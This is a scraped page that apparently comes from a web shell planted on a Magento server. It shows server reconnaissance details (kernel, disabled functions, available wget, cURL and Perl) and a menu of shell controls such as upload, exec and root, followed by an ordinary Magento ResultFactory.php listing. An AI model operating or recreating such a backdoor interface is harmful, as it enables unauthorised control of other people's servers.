Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 02:14:58
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Controller/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Controller/ResultFactory.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Controller; use Magento\Framework\ObjectManagerInterface; /** * Result Factory * * @api * @since 100.0.2 */ class ResultFactory { /**#@+ * Allowed result types */ const TYPE_JSON = 'json'; const TYPE_RAW = 'raw'; const TYPE_REDIRECT = 'redirect'; const TYPE_FORWARD = 'forward'; const TYPE_LAYOUT = 'layout'; const TYPE_PAGE = 'page'; /**#@-*/ /**#@-*/ protected $typeMap = [ self::TYPE_JSON => Result\Json::class, self::TYPE_RAW => Result\Raw::class, self::TYPE_REDIRECT => Result\Redirect::class, self::TYPE_FORWARD => Result\Forward::class, self::TYPE_LAYOUT => \Magento\Framework\View\Result\Layout::class, self::TYPE_PAGE => \Magento\Framework\View\Result\Page::class, ]; /** * @var ObjectManagerInterface */ private $objectManager; /** * Constructor * * @param ObjectManagerInterface $objectManager * @param array $typeMap */ public function __construct( ObjectManagerInterface $objectManager, array $typeMap = [] ) { $this->objectManager = $objectManager; $this->mergeTypes($typeMap); } /** * Add or override result types * * @param array $typeMap * @return void */ protected function mergeTypes(array $typeMap) { foreach ($typeMap as $typeInfo) { if (isset($typeInfo['type']) && isset($typeInfo['class'])) { $this->typeMap[$typeInfo['type']] = $typeInfo['class']; } } } /** * Create new page regarding its type * * @param string $type * @param array $arguments * @throws \InvalidArgumentException * @return ResultInterface */ public function create($type, array $arguments = []) { if (empty($this->typeMap[$type])) { throw new \InvalidArgumentException('"' . $type . ': isn\'t allowed'); } $resultInstance = $this->objectManager->create($this->typeMap[$type], $arguments); if (!$resultInstance instanceof ResultInterface) { throw new \InvalidArgumentException(get_class($resultInstance) . ' isn\'t instance of ResultInterface'); } /** * TODO: Temporary solution, must be removed after full refactoring to the new result rendering system * * Used for knowledge how result page was created, page was created through result factory or it's default page * in App\View created in constructor */ if ($resultInstance instanceof \Magento\Framework\View\Result\Layout) { // Initialization has to be in constructor of ResultPage $resultInstance->addDefaultHandle(); } return $resultInstance; } }